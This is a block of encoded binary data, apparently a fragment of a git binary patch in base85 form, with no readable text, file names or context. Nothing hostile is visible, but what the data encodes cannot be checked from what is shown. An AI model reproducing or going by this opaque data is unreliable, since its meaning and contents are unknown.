zIZ;n@d0szPniL35;eXlSA!t_m5PVZVE7lzO3_2^qi9Vhj;lX<6#_+GtcZ9CTkIO9o
z;1SXhUO1_8&xuq0(~WT5%a86Nq0W*UiqI3S6%SrMRpyuBZ*NG4b5A_&6#9T;SJpdS
z!o$Svg`XG2whB3!J$_Misj|ud=Lf4vztFeF?5vUFPHI)TE7$6q&6QgplZx~8EcXza
zI4sot%$3H$^nJ{>%~8claAv61tC}nA0_*ap-_W$I3j+J@VO#I)3NCQ%n>8F)7OmM?
zr47e&0JO=sJj7!Y)Bcum1W-oseB*;alrdp=yfU8CF(#`Z)tb#YTQWKSSJ~9D?!TKi
zybKxWbJ=5;#Aknjyc+(@Q_x-u6iep6tE^&0)KxuLtjpvm4zcT~7ji<#Q-iC9V+^YL
zW@Ty@zbFNH$Fl5zNK>-21A6BCcdg{#<4#$?pz7|yg3M8uiEPIzosAoFs%jVC+I)J=
zk|F16I6IYvN%yq$FtoI1q&503&Pf_G2V&qryYKjq{HMuNQmwTTZff2=30W_-{n+?A
z7x26sR#V?X_NDfw$`~hmEu>h|C~M-LZb|1NwC;XO&nF544QM5R$<a9n;%*_fE9~Z0
zTpD=;$(nRO7`<=S@myO3ItBljYF1Xfx$7{C9$q)GNV$^b2vebf{}y)-tg=di6aBrE
zCpQDD8_FgQBp1FxSLTus8?t#3!3nBnU}G_HUuVo{hZzHWqTWe-!UnaF?S>AJA=g4|
zLnhSKD$H!B4S6IZl~HE3my+Sgq)Nz_vK&X#I|X#rC(hYto<iH%9M?0uVK|$iVy@}|
zJz=#OGcffnd>?WT4|Ai@*X_PT4(n|io9gomREY@kvI6m=Zs4EThbQUbI$3PJl`iYW
zahdKCCgfu<yeco>fA{?p;*sJ-JuL!HK4*HU1ChY+|B3|e*zGJew1!$MQ)#MO#W=A%
zmPN%g2DU|Uz^T%SU;CvO7yG5RhQLyL$lvUF@aNb6d-g$J#HaXV!A&S9gfmAaSbT-N
z30h6-*!MCUL>SNF<3^tBJX>K2!X}1F7oNU<e!VepV8~K>i5MsqIDS_(u>XRWtst1h
zz9Z{mSBUOlW>pKiB$3P4P}&&0B4+VEke}!DKqNiX|L2cLKjKvAx;1-7(-m;IF*E3$
z?(4p{k+UL7W>a7D_#_#kW9xiA{Tz-{?f9>lz_AoGJZl}qbu&12oGUpn5wYM+&jS%(
zna?qqT{P+NQc&Fs6t5APKo=6S=FjcFxXYs)pk@?WVFF1xlR1C7*B_x8$*4i`_u?~n
z<;6ry@n?F^2?W)OV*ejwR{{_9+O|(h9VFRGmPAA(RCZF9Bq7UK#+D>m#=ftID3mQx
zS+g_4SjWB;F_!GcHkRzWvCBH&Gn{kYmh-*mJwKga&XWK9pXa%s`@XL0zV6IRtv0o=
zkf$LL3(2rKW1;<1Orx&pJZ4f)R<ua68w72yXzoqs_TRIeGPtHfHr-%z#bf=*nkvjN
zXeV;rwp<mXJk{F|G2o>gpC!YH+=~*|LlC7)>IW-JIjx6{h1v1I%-Cr-&?C-^Ub@>9
z3(m%3W4TRktUOjhJ7ErGYMPIFTlbZ9I9}midM+AaoiaAv>u;v`#K%yO94|E+&K*6I
z@!ABmir5{X&sr|_*-;l+SC|c^<~JH_VjydO7ux<l*vCK{7J5+xjc6{Axq*JplRfPJ
zcFdrre6DpjtpAFRA!Q?1mOpGx3X1G_UM<CNn(|pMC+bW67ePzgxp#9$+){?QdwfPl
z4;|7)r(RmjO+Kt%d6_$IHI_ij#>N@~M<Tl|t*Y?EmtIwzPDn`joq|HnAHK*o*Vxpg
z0?`hLlZdLaS_8dVZBi~WagNGW3he@UOiy?>Jhkp-Gje!Knu%saaTwNw3GE}5KD52n
z?addkWNephc6ke+^#=5*uVc@m381jomT?G~wGDdFtYzmhW0lz&aZcCuV9kE?vbFiK
z@zTJ|&K|X((brKcTkR@~2G_NVESZjz)BAR3=@2?>ZEbC>*QQn2*w_e`1>H!!m!Ch&
z5ITOrzvJTK%5hycd&MlN52(mIBlM{PGYsiqnb0s!r%U`_%?=c2_U}}3{xfznR!i&8
zY5n+oqYuUmgJjnsWCP+E8yocdZAYy$?#4X|3bK*tJ;P;Ke8<P}Nuf=+4qBHPG2gUV
z<9v%USkAy(2xkNw1F(m;IZjorS=z_><QQd`WWQJDF+x6~yUN#Dmm`8+Hrw%1H4OBx
zH}J5t4-t$MI14UJlOMq8D(%AyGmaW_RGP|-FP*mS(dqb5-~BkQ%)2t{*TB$5nBD5}
zmF|2959L+{bz0N%diNwbO|+>|Z_Ggt+&K0gz!t;s4FIc8rS1bO(Hk83pS?yOe$bwr
z1DcM6C@E0{_UUXgU#Q#>DJVuzv#g&~=dwom4jn*VsvO;L376}e`m?)<UR?Kt>v0sp
z%q2C=TQ1Ep7GXAxb&<ns-Q~e^6I=Fqy1|OUxt9|kVMimY%BS)d%p6qNvqg;0d2U(C
zt16qhXxwQ&Ng2kh6E^5>^!~j~%n#sgnBVZmCDs)^LcJXzy_0bn_a|zFtiQWO&rr4h
zdr`~&>HITKzK)uEKC9(z?eei__u~lLZ5ZaCH^IMnaVFVljc0QNoq|uN?zOYOwt3o>
zL-+Z6T*}j((!DMA>C?kx&+aI8PflFg3EOj6w7J<*^*C{Z5oDv?arh`V{TyZ9b|UBP
zl}|}&7rxME#IfYaN0i5(qWNmCodO-z1GueVk8tJ0W5M8vSPhU*?sJzVpT;UNLF|T%
z{~6d<AOQRI4mH$KyrJk>XPL$J8e7-(V!_x}S<6YK@%h2P(Q0Z=Q5VL+7G|X1sO!nf
zV#nC9W7DT__wyxzh111ZinfXQVI=Wy?B6&HCH6#KZNQ+21%yJjH!!}?Dv_YbVwJ+^
zHkl)BcAMrWVKz!K<BFB)%i-U@SRbA8AGw$oi@R2Fe-ML)^tkYnbvXfI8FZoaeQdCB
zf!#9=lv206aoN==at)oBgcEaY7Mr^TzWM#Fq<t^cKZbL;R`AlL@N~x4sPJi^J7*vV
z&Da5(Kpxx6IQFf@$4FTHfW+FWdREJko7T2-Tlgp9g}5l?`P}C-4$3kzH|r1cu+?KL
z?ir*cVUpp$4Mv3+WRMTa))v;1Q|#&KaIlocN_qyE<M}iZ7AESd&Qgdt4wy;GXk0<j
z-U_pFm#LN8tg~S7e7`Spio<N@jIE^e8j4VTKV7hv+uiNiSjh9q6OB`Xk89VI;}JQa
zU~A?N_KMBdQKY0K4$ihMm-NhI`p$eq;1c#vHiX~^^6K(z<O2;z0tDRz$O2#ia}~H}
zaVo`lEkmHwN?aI^?Oohy>^>vUV-DDp;rAjVnT<|T(4j`b4kArqb1Ux7Jb*uRU?+$6
zcc}_y=+YqV;esU{LmFHQB8bAX^#G0q0<!e<ObvzdnzQ|M_l(O2{Y;9kfOFuax~Il9
z;Q~AW{_U9f=lB{*U@=qz@6~g|%^aor8}ywgcu_OunI64w_dQ^LD8VP?*TvC=h3f%<
zurwGV+!58Wt+6r8QdtCb6(kvnZIpPmcvKFQ8yUqMMdQl*NaAD9YT>Z0-^s{T?1l^h
zg<phTHr5uy&`_#;-QvQQ(cWr)HTEN6dWiu5e(nioCnzaPtekzEo-wMP3yFyEkGdme
zIsC;-6`{*vSYp2Dky{vRp*GE9;XtUV+mxW~&*fy`DGu^a0h`rPEeH-?p`>ORF+)Zu
zXzlHqgRIbxHQR{)b<$*HyiHacEXLoQftN&n`W|xp^f!xjxNd}+3Pj<dTybt`Mar-;
z!pVVr0`Et2VB>BqU!4Agl9Vk~<n_WB#r-w%^366H!0HsD;(JVaxFKt7Uwd|ZRQla*
zMo4I4#gVA0h@9B#t`6cZuY5Py%AL42{T<2fT;5S~MI8WlLyYJirdD+|@Ob8f%g@Xj
zS3$qAx4m8p@B`@(w3O9wyb4FO9_!}j;>x{fM6tmv><fo;q2Bx_Ab$qB@JBC8Iapbl
z4+MCHeP!O|G=&IuGpdT9%+L>mV%IsICWw~Ee?&^V^Xl%rC=t#xr;dw{{39h>!e7V4
z%OAPN+jV~IX<K>&p}0FZ0wKd&V{aXZJOMie5Hr)&JHeRcaek_P265NGjTl=7moc2U
zYDsJSyrf1V1hmNmdbdI#SQDaokw;SaStJ0e1jm`X>%^^oPjxJC+cX}<S>YM{{QR``
zF-2O1qdGiqG*zL2LPJ|Zg%(Y>%%GxY+zYhGrvFAfC{==fay5u%0AWXwBcX_-%7X~R
z@)(EkKVm^o$3iP_hTbAw9fM2FV83YJo%o(2JKd|}Ho-dr9U-+g75j8!tH)o0dk)3r
zGSu-JcJexDNJ38HeZZF!Bdb@g&2xz(C&d8{eV(%i5<E3A78!lXXntD3y5>!Q@ax!T
z9eLL*hI1M8T4sEsk<s86UIdPS=a>v1S?Bzlk7d1<cdU~@S?>lBwC1C2o?sz+k&*sB
z-s*q99jkh=%v67WqImF+j$a>h{-CQVPtSjHu&i!O{WeR7AndliJx%7w2y~}^)pb+m
z?p=S!xqg9DI~#7<ihO^+nXsz&01INYWt(zFy^kcA54k4`ycrns#FO2pb7PT`mImDe
z$h{-?4Gi@4gW-+$*5=zGI+LcVOt@!988D10tHpm?SK%NE{!!>xO=TC6uw&Iy=5>9k
zW;2A^k<{y+LFyniCGj)=Ha>BIH7;KrDGXI>sLd|C{p?58Rxpj68C{b_89K-1`mi~k
z_Uzk-4fx7#BBwEQuuO+P*;4Ha#6LvrL_p1Pb8IqfATV=2>7BS~x!`c<C>2Aa1?}%-
zVyl&(3j-gh36LuHWKEjsR^dJx7QnC?V)$wd+O7hJY;9<`t?eSvUu2aX`K^1I1nK0p
z2iQ1%=V`x<csw8Kb5XFeb%om;I2nY@PS<|fxWBwbGgukDzL+(fYjgsNGV^m}YH6Qz
zsI+w#1>Q9trlyxwRaN<(e4&dMzbU7S+ur`0rCT7f@vybM2HN~jQ&W$Hqo@4m^mGiI
zxhM|Fy1UKgAxz9YLa;q$22UAPRVvnt7f~(-VmFc5WpVXt*C>oX5lFjhJira%N8yL|
zTpwW{_!nfYtJAfHfm>vV4&ABzg#VSC%<U9FD(NUqri-)!AE*-@4zwA8n=hl0pQNwj
zWVRz0pi5V8bon&G@1cmTZ*0<mPoFeN&k;gFA!c{oR(Hz6V|hl(_XB)rJvd~-6|ZB(
z&24I3F(!)KtXkh-#vktyLyoy3g+^VGQ-6K^`ORjxE32{=$P^h@x~n9!D_6S_m@AZ&
zTSOIkuS01Zz=Xw0-Fy=8pg2Vxc&dLC1^2j$f@u#IBZcB@%48HW1-&ffg!gA6E&+57
zr|?NLyHktv;mMQYQ@18Zj&qM^eOu&!F>X$gx`6iDZ`0we{O-M{*XFPc>?tYVdVG{o
zT+XTjz$M`FxAlVPf`!RFHx|#EhK!{SL7E}Rc=i9sYDc|Z%ylhYW8oQ5h<d%k{rfWZ
z_62}MmC6nk@^l}IP;J0Z)2@^{;gCRyXq_1<=Z(&lI!}BaP3l5(V7H@QpY)Nn>bjUl
z{l&zOX->`XtWXo6UHJ31o@8Ax3-I@8048F+PMLJH5dtit$_=7GTNb5kD0}W2X$a`l
zPyEVqdwdj>;8W*-H`T3T<fB|IYcQk58DE1R&6vUmbHsZv0cWfP6np`bF9t=|ea#i&
z9kbcVaw~GSmk?5tc>SNq{pw23yQeRJpAFAN>}TfRs0lrzartRW#Zj!Rq~`&uv*e5=
z2xlZDg7I&>jzQp}%#<p8VY$3K1o_y>!w@plSHb-RzkXzQD`D8M#fW0m<gGy}WS5ML
zthQN5H;c#ZPv;y@9g@($e{?;=!KDjLBwV^KElbB*PpoLMga9v)eIs@=xQmM`qw=~n
zou7YweDb6Kp056XxGxnoH6WjWQjeI&svt|Cv#u?C%o%9*PQ~5K0Bv?Yt=^p+)|vAK
zQRbrmn%Ct|`7lyO@_{=n@k61RPNf{So6sZEU?a|s`#^X(`f(OI44mI<9_rox!n6K7
zewL@e4v_gYFJn^@weo7x(&*bov^6VhNMV-1_2AX-Nn4S;CBi1CZ2FsmxM88G(40^q
zK<{BB_UMtW*McBwif@5X*P@~`$%?d=qI30Z#{93Mik6RxeXWkmYA;hO=%)^IaxR5s
zffF7_kKQ~xF_xSqL%3ylO||DTHU@uE`;l4_%x9!=?`&Gfa`|`11S!LKUkg6>aIO3F
zDEGpR8#F8|CjFcm5J*C4DgDu%O;v@cOIJSo0Of~ua`G)67BhO1VR9I@*7Ie}=WqM(
zy6x!d;yM}RnMzGRiIq42b?>04jEuREVXp57U|VJ%h+;+R9UH~UCOS<$Jt;19hioE<
zx$8)cThXUKzG*;jWfzn;jzO9^i(|$05<Kd}6F{|TWxMh9VXg@gr%a2?i|1pyJMRXw
z9XL*!dtI%wUxZbychqfgm#%$+*zED8%-w>0VTKvpgxe|W4&;j6DZmA?Y<N+OCOvBJ
zruXAh-~@CzFpN@lyR;&X*s~M-plBj6brZ&jYbRzQe>GN{A_$sGw5N*W{#XgTw{TNj
zT)oT*4TfH~m)MyAaUCe=IRgU&t+&@qf%aY&l<>AoUvGa#qp@E5H5e*VniZVElP8y4
zHy42n`GSb&u5hLXcYne17d&-1j-W~oyC~O|Z=y_)bbx8gZAd+_%Bmx?Z3)uA%kbJw
zwTG9lT#=ENCutFxVg&z9z;4R`%3Rae&o6^rhGu%4emTQOYC$w_fZ%rXLwv{Bmytym
zp;&>*)QJ2<nI?7ir!i?{8+=%vPrBL(NlHcz)F+Z=MFFJJn;R<7Tgvd6=BNRkG80;f
zm1D}s32^vYmvH5bOk@=6%B$X`-*tQUb$1Oyj_o=uIg8tUk{R&Y=j3_lVf?ldT94Gc
z@Ag>^)m?|zFf_S(vZ>%oxI<o$g`2Ui<U%e*@8)u*he4ilUy-<+1>G~jaqVd3$@Gj=
zaJ78D-&L%24j}>=nek_%in~XE?$X((0MQJ}6cN_dS1jTrUj<H(%+EZ!SW|ETR7(*L
zhor+@O<|S+10xNEC{WG1K4N^k@yd@Dkool<5>Ql)z|^VF@yCN}V-hq+dMc=FOws43
z>DuqXMnn!C2OZ;!D3~hW9yl^R1kdXCsrOiM%i`#F&i}D|+Ic!SDo2n`Tw+a(G`z3k
z))@z!M+55_Nk#`daUD;{N8YpZSf!w{)LX(s&m$(o5E`(iZ0c=$&B&3rR#qc)N{TFy
z`&P3zkLAD6&wylyZ{(}?Axj$U?oCvjXk`wnBHub^IWKt3<Ixr#F<z;6o{r(CVninR
z$}WI4!VcA5jQz@r0_0fCYi+85(9>}P?iGPy>Mfnv{(Bhl<E!;olu-w9j(V(^LyCh&
zS85(lZhkf!k`ivco~~5Uc1c_{3+4jLQlT3xIlH(ZL`6YC_l#^F&4s={POAJW=pO?D
zPcsDd%-_G<$XTlM8Dkk)NWLDAz`bmL4x#sFKuBB|V!nI$!%cPEIJ4COg2qv|tVeuu
zJWRxp<&17e?umU-XK~9piE>%4krKGMJ;VJX=DCZ{c#D|boP7HYj)t8RBeTW4aa#T^
z1gcoS6gu>g`3ur{Pd)=w**hyRcC)}~3#!U!x*h|BKL=)cH}?FOaE-!iit6!tB55ir
z+F6qWMgXK#LoW|>u+nI}$q-50CVx7pO@`V_lp_+A`DVaZq9((=lWXvY+(PzkeKHjz
z(#EDx&F%u;*nbqMJ~2H4N*RIyZFphHjCVPZ+nEKXBa=@J7F-wtq0UVHYa6sLcqVZ9
zC<9(3>1zRAi=<jAx|_B0K0{4v@R(bm*82eZ?jd@=;W#JCCu<eOh1D67;XN0!CxoVg
zZi(%fUo`Vq_pu}`O#05VvhMMpMBZOUay;M;Xt`_NpCR!gqvT`PCDD^(Cmh=Pd-I^@
z&&6_H)l^$F4;Fl07DXqR@G-J0L2O@q+V-R=R+fi^Q5sv<XMh#f?MjG-O4%0<$|^Ek
z{MU_E!oiLUjbeqfM7$tMk$@RpVG+Qz76=w*M#>%MP<m@LoSRA<Ng&T=g)7Vc@D>-<
zQGY57)|pYwP5(CpyE+fKIM^Te=S1$iWnEKz{6@w4zG4abAC=ZAB5=pkK!JNw`6)E?
zV%00m^7P3HS=fbw8}<?EO$<Y2<kBwc==}jIb#)Dd2<~a4uxCNR?+3>{{Z6aK!cv;I
z5r3v$Ih5+#II4yIhKAdMOfXnf>vC|tub%o|(@tu+45WzPooUdn?eR9smI9nA%SXES
zKde-+r!ykYGMs~>a`u{gk!F{P%l6RsPM?9Q$+t5RkTYY(;buqFV{5}5JN|sU@l%r^
zRRy0Hz6}#7j)EXH1%I>otM-z7CO_k7g<U`(o46R@Uw`7<fv1xt^g{M!uMf!|f$BM6
zc@Lwz)S=V6u}Bj{&=aO!E<RjTegL#y9uq$5GCtiAEU|=lW$z9){&ZJ=XKnS)(<z_3
zJ#TVff1h_8YAwI}fNn>*#|gfn7$`<nZvpCe{f(TkO)29}aEYXnYgy0;K)TEVePVs#
z_-r{MAE7{}=P^e`&T7^PWMxSb2kZGQhD7`n7!LXZqW$Zg2%m%PlmjlL*%(4gaK@YD
z)RL#mwz7~Dkh|l`sl0f(7y?%8au1>Bd{H<~4eI~8F%<%ac%{8)O<oYjI5_NX73X44
zKc^u9N-SXwM`&|N-9K)TTI>M;S@xWx`0O|VCZf<`Ixg^h`AZnzkX4;M#E#|_h`n-J
z>6@$)i@{?SB1)sFi_(2@s3S>Yo7F*sFVaOwpA1<nH~$Zbqs*k@g2*dF@w0b1adnh>
zU5v!h)U}J63D-dmIcPHwJwmlYp;^0LV;t)W7lF5e(7Kd=)dRyw%<Y7}|L?ivj<>jm
zCaF?KH(!RdkbvA1JwQIxQCRGnye4V|xxO$&HDOX0gs_CNv2XgpBexadqkH1}?gDZ_
z@7))F+o|#x1V8GclNZkTzv|TEBCWVJ)M&0Ga~%Y!U|j*v2PdAd_^9iLkwY*TvlemS
z!Fc5gue71;`>3Rc*NdA)ic`=JzylHD<ne;V%t_8(nm2Dt1uUa})b9H;YJVfxZVnqC
z^j8+dM_tR#gcBXmVZ>x4W8iL76_8sDz11x{g}RMXY6tSumwP4bIljK>BCCK8wl@L7
zdu~-V8Vga`f@)ZW+=b8k%q4d`pIb><9TSx!7(819N5pBUO#%hyk6i-?3QlJPp-dns
zJdh_uSg#oNsyXX6tK_^pJ+*D(H~X4T&f+m0=sF9AN_~2S&!rNWa9MmcR+0jGk&=KR
zZj}g*bs=uR2<1DvF?8`XeYG9kt8xLymH*-XF?T$>Lh<6046xDh6JL4dm{m>4y3K-p
zJ_U^03QW+0+Gy|`+HNp?MP?t@k9<aXmKHHtuV;HI&7LWJlJi}$nqJp0+dE@Kl)s7S
zH02f_LFHP|yhyyV0;@F(B+^rTVR>@Q<u<-p!$MCX=o;95u{JS0=FeI`3Qj##Pm2Rx
z7iJbyL({{h;a~+vl-|An?~#BM*w-4HwHlfQieGLt`=ltJ`TFb?rI@SejMt<BCUHgm
zba}=w>ww?MYqA)dB$Qe*3UX4u+I$J(%l}vC)(#Fw^dSZP`Cd&)M24O&2p~0@>%Z_?
z^Rcw7F)Hdh8fbK#>Xwa+EwmZ#BZDQGv#K-Ag2huDoY^kbZfe@moD42eVQKy4-4Ob4
zYIO)lKi%b|vNcaV3rnJe9~vBhYo==43uX;&Y%!Q3g&X~#krbHQF0}Hfr~xq&a5Gh6
ze<Sy4B&MG3)ohnSb68r?%m4!uYp<ucmb$v8ON#1^?^!D1qQ7iY{<4Vf3$0X8q{IlY
zw4g#MO0HhHaV$5?kWMl*Yu3lFd<qHZuQrU0cux?i@_3bJ`xp_=edQra`bX_8{KOQR
z=m-BE1?IfV-J_l0;$gVZMrT!)kSMgDgiewZhlUoZ{Z2^9O-Dk3ISa(~8p)}gZR8eq
zr(Dqmns(znd-Hhx4XZ)<W|a?3JPxpv{}KgWYff%y=#A@KeT3+L;<R<)`4gf+!e%v&
z6Y8fcrN6|2cYwUDGz%<WxED9~VZ<!G@25o=udgOJXK!6S)L<iv*qe($`(AzWweyHE
z0m+O|G?&X`LT?;`a7%p}DSvlrx^~vN`Of~}{P{tRW|a$KlaHF9zr2wK0(WAizHosx
zaq_zOr}bOsi3>?=cJCL^nCdBb&jCx!7_N*5c5!2~!k(F5P<$j?Y20I4xmhKO{!>-)
zpFT3cs(uU&wLc|H2hO{VF@s>c&=9j~pv|>C%5tRiKQwXYB_!rSn+00HrqrxkUV-0>
z$%z2>gSw4ME?rw`epJ%rwPMAyG1TXhCOIEWM3iV;?*Hkfe1d^fn=1<t$pgoCLL<h#
z&?M5WleWhSUW(eQsdZ6-YK719;h1F6c$HF|W0n*_6^jI6C^Psh&1+G6O|`CptBdt^
z%qMN{kzv%we&RG?)5(wcR|!$p>|7m<gBqj{pY*X?sPHHkeCuWrO-4*zA<A2^zx%o0
z^YoHBm(n0Z%Zw=<p4V1k%4cgZJX6(<Q)aj$#Dbc2sz1H?U)zO(Ugr3+4A%<kjZ1<D
zlXf$|Q7xtQTT#m02MAE9uPuJ=MtPgz`Fr562zwGFU+{8uMU@Y;J*Cu-2*)@|N6egN
zJ7?YPqZmX#HI@FC)aS4_Xa>#%kgf9P9PcP>{oNTrM`+*?qTzOg+M6g=vl#BN;;ar-
zWXZS}DAnPq=_x0zypU0ew;+=vxo`fB1RPFD{nAiWqA?h-`=S7m5~&Gk2CwG;YPm)T
zJz$kPxIi1~`+|E+9fb<bCsFTw3vED%jo>x{{>DGhQa)G$f3Z;jqz#6Lf@wXn@rhhx
z*vHq7sIHYOEEYNnCWM5h5qOKimBw{if-Ik<w^<9w@vw`22`o<65|Hz*kH~%VUt=*f
zhJ$eXgGL#cxjY!3Zm11O0iU)jBn$0vr>a*8Jex`enYZ}AF5cugR*QxA^tz#c&D7fL
zms|Q5L~Z&}k%X$a^jdHk6)OwA=2jf;s~cr+qwZ5}^PkhwU)Lt4AR_%T=?wri6|bR<
zSCF82vf$+tto$`}giVa(l(#~^-gVstv2E0%|LGksns?%Z`_ccy0?|7Wz_!F&okR3N
zzbm|pN{T#lhTg|9i?05n9qgnYXw_ihwT`7ecNEkP%_<7vUTR{pg{pQmPjyLzqJK^U
zerX<TJ|V)%Cr=mRu7*=`w;~GThM9xf#NL>(C|64V<18a(Qfj^Ck_3q^(l@&ANBO{y
zM@=B?dIvJnT@9;|38hOX7<9u8<1CHpNnN}Vc5F2Um8sXc$BD0Ka*h9#oBWy;nQ6(Q
zN|t`7bWtjMT9`#H!x7kINJ64wM@~p2=Y_8}f(~e{ljB?GD>=NIBCNqBD;|nOyoro7
zT<wnS_4;}m4sY4TOUuf#J3gKlF&Fupa-lqO;1eB(1cMc1n$4Ykwl16?PQ97SgrV7r
zBD~S0x{_<bZ}~#c=Fsi0NVqE#y-llW_O{hym&CITIZt^oO2&nB71-~Zj8Lg-Xe1^V
zbXD#S_vZ0P>r{SCs)gSAPtT0M*<XUvzv|F~uo~#^POj7a8icebXqyasC=4G$q!zvO
zJJ`^Piq6Skna3KP&7Lq)yqV+D?vvwx`cP8$=7#G1{ViI~t5<Iuj+p)r9M+#wO9CuJ
zkfL-5UJsQUe@RF*@&s=ISn$ZphT%l8$~VM<^Yvg4U*_<AoHJ*=l0Y~+^0FmSW?C0e
zNw6<pZ|~V)Xp>MgYH6f~`4Khrl);(vx-mUv9E6D~Iz336-Xi>mLZ<ItFQHxSyAn!B
z)<GcDid)5w=5D`EQWwn@mBL+r@EO%1DVOL+8U&vcQp+3MM_q2dU}^ZM0X4R~4=~*m
z{SFbMuc_QiokcF`i=1g!F~P_6fsqjE8d1A1+K_p0`ofjQ{^+nVQIolgNzeqiX!760
zNszzUU&IM*gyPQD-+T%9&42il%{o_BtDK*SKH$+6RTI!T3FjgK`Dk<SnDM2Wi{oAZ
z4f2cTDZATziS><l`7I3%)5YrO!!4(-u09%$zl!$%d<?vn7ll_2NS^Ccb59rf3(R}&
zGz);KGeos1g?~P+n7!x;T8K&EbzAo<Jv+nOy@Ct$y13%txjn0ju~uaMdhlFv+*}a&
zRr1%@pWjrV;_9ghQ2z_Y1`&N&DmyF4<Kt&%%@#H`b_^a?_mWZ4(+4gsS!c<<sjNI4
zbu-<Ugec79p8&+o%x6k>>xW5zV;Nm$(fm*$0BsKA4g1;+jQ$ZKq%>nE96x@$O^)B6
z53+IhQn{($@=YJ)9|53=DF5tzb-Qte^8?=`dl`N1(g^PZ&xtiNj8Zd3xo#P8$Kba=
z$KOyC-MNKCO!MgNMffi7=UbDw+Do2IlG9h;fjZ*)LNLQ=Uwb+&r6Tt5m%n3)db)*@
zfkOq6iTxW0z==y8=J=krT_~^|gaTwZEIj;Kl3WNY3(IYS)XQ-J%691zt7sHHoBrwl
zCj)Z=>Ffg#3Rv0MiH+)Bset76AN(mEbpfPVTU)!nsi`KEMH+m^wjySC$OeM$MAGB$
zU*tVRK~d%n-|gl@#3S(`<N>&>{p$(E`BPWM&9TrE0-62$%v+Z-^zVLZKIES(@rDwf
zx_IjSB6r&Twdw2M=E8YLz9w8*o9$!DGBR4~jd{CVyw_c!BVHQEkak}7@3wOp1wbbB
zodsyei}x81qYB@9mp{~OX_Sz;*#z$6{4r-=c0vweNGv#9tI_Vw-SG&?ZgX&4d)wcB
z4JuI{EfL9Inh(!kDw135sdh3nOeo%Zj^LllJ+a(HO<~jl8QU$Ty72dz4NEg-2D5bp
zzQe;U10U?Sze?{rz)`@-1to%7P}8;Dl|h=Ygvn}fB;d*G?9$-S8kT=NLuqz(+~UW}
zk=6DwN$NrF%W#<c?sd@+BiwZY&P-kywp+PT!|2^O-x_le1ebpg$Hdf2M(~GD*)?*B
zJU?+Q-w6IoW&u=@k6v;h0NACn$`JSQmVQnXFZUhxqb@R@P4mL%Kasi|2^!%YR%_g3
z`{0r{%lSXlC@Oq_{{bQCHFX*Yi@m@){;4A)1z9ekq$W-UN_Ij>{!o4&yzH>t8(lY3
zqkwVNkFDDTWC{#m<M=z_Iag2S2vEz2TFqF_Cl`1Le<;Xy&ew9e9N{hkmpH3I*kM^B
z<M*Cf;lEy|4r=NN^b1)kfR>G_Y3Q_YqVw-BBz?yISvN&gxrqNUw*O;<PUF(s>=8Gr
zVpg6>^uMR8<l!1GXx<S_lxeo;0d;y9<XEfyPLph%)i7F>Kx?7+9+ps93jWM995$`k
zV@`prTEB++%Lx%cNg*zivTYSUB4j-xE9@Lf;F1ZlGiEgLEC1+_`DTRIpaxw1O`Ri8
z{(=#`Y|B5;h=s(c1K}LFn@Ii<P&A7no`ha`jW?ua9uD`&I|+a{5TV!>5}T{C4^uNa
zEh$i!M8$MSz0rgKA5c>;{R5<^TFGQ1PyUnjg-L4V-J~w6D5R&@<0fwPj6@DL1&x5I
zEUbyC1lr`wz8_GZeK}B{<!@b((=i9xv=;!Ig8)9w$B&dG^egKtmLCV{92_-H25;m(
z-6Kc@Xmh_Ry-tSB-OLk6`i`(86~7tgzM~KVs!OoaEretTUP|xwQp>nWbN;e;u$h3O
zH#&mU#X=5@ECPRd-y(8;sdnmVCzFoc=&l{sEMjGRV@T*6RO=vh7<l_*QibBU`|joL
z%W@N{%J67k+<9hO;?xbs=K%F==YTUcD#zSet~4?;Um=cM;(OzsuTnNr&mTh#_2Zu^
z$|j!%{1ijy)gU>kqV8GBapiuQ_Y}4uWll)LUU_ZRr{}DzsG@+a-DLgn<C<?>0|GbN
z@}}eVpLX5qzHZ^)`bz4@e^6|y_~t2hihF_(J6uA4mTKCG%J79wHL<yKU=|q>!}7l=
zS3B7vIIqYyjJS{Ea~R}q?ow*MR1GV8M5dHHFKcXC(ocpefUBjcl-edaa=SZ;C`qg*
zIA)(%gGRhH`dY$YJTZFJc{bJ4d98nSDVkr8KhH``qkYu|St)tA5%Q(<ABMv%#u+wf
z@}Pzn?AQmsi$g0As=V-M_1dz%z<slsbE=n>Bj+Mk2)uc{#7{|}xwrTV57oy`Z0it#
zqI2iCEuOWlXYZD^9eZraHqx?-$XTwc*LN3H_TaV4M%A#fHix&FVDBn1#D&;w_En%q
zp9%5WTByE^3W@6-zpqng?L`sIJc#M7NXPa#iu<6NINY*{Uq-_@v*D_CU8;aX6@Ki+
z%V{m^Dm?JzPiS=<!S<9RSybPH?G1;wgoh46lw_;-t8$Z2w3%83se)R0Z6iMzgG=6<
zr`6m35Y2wvSdQ#L@kK=H_F(lobX|<(D<tl!np?U-UoO!FHW^SIa1FmrN}c66A|a9N
zG+W|l0%`BW4&0-y;K;_QVJ9OYYr8KG%k8*RVWCzTaAaM#T2Kh{xL&mKlV{5tA1Cjj
zRK7c8*^R=s_sVdm84?D2(u^#U9a{@ggl)d~r+E24DQFpey-`#DB<oaZ<wky<Znh`K
zf{C4^l5ET94MqbL6LIt@xJ2=tYWHylw#QSaOo06EgJy&aO;%%Lfnbp<ZAF#-Afhnv
z{888DG#Gaek<FiFTE~;HT{SQPO+c21T>zH@a?1(ugnto2UY8<pUxf9w)R>ehCJEa%
z%={;D!KL9;&8l$h@N<3bqCE?BF`hp-FgWm5UDw4-7EA_NAZz0qdJT>*cv9i?5RSmE
z`<)n)X^GWb4S8jX89!s@?5xDJqLK(M*B%PV7cff?|1>OJA<2|%`>mpi3upakgEVE?
zah&iR!?Zn#4<9ERwLotF*Cnz7*=vO*4T5b+ZzT9pj_}^d^M6(_6tBR!3PK+Gi7SUL
z#h(9oU8Aau3(5S5Tgn_UY`S1_HpT3Sc!sA*>Rx6UY2o=hcR9(v7SbvF-q_)YIM*7U
zW8eW<OKyfCR%}n=Fn7%DcDfYzmZnitBSJ={dCgfTP%j-9#1GMlq086qfXfb8Q<`qc
zbukJQy(xcYp~-Mew2UwEJ0ROVLcKgZG`1iyE1PNI_4<2Z{Re>{RH!H%oGr*tXA4Bu
zyZ*--61x~nq^g|=qJ|^oJFUzqemFC1Yh8?~BsT_^CwZ^EztuHwJ65}PCpaOmH+3?-
z1QIK{;8+HA5&`WR&5?x+l(Ov8gCeDc%~|S%ExR#apZk%C%Hqw(Hyog3i?6w*|KQtl
zv0GMC#!UC}zzIJk$~Y#4zi=*hkdj(fC03m&cEd%VT-ewPX5@+CxLs}{sem4Ra}<R=
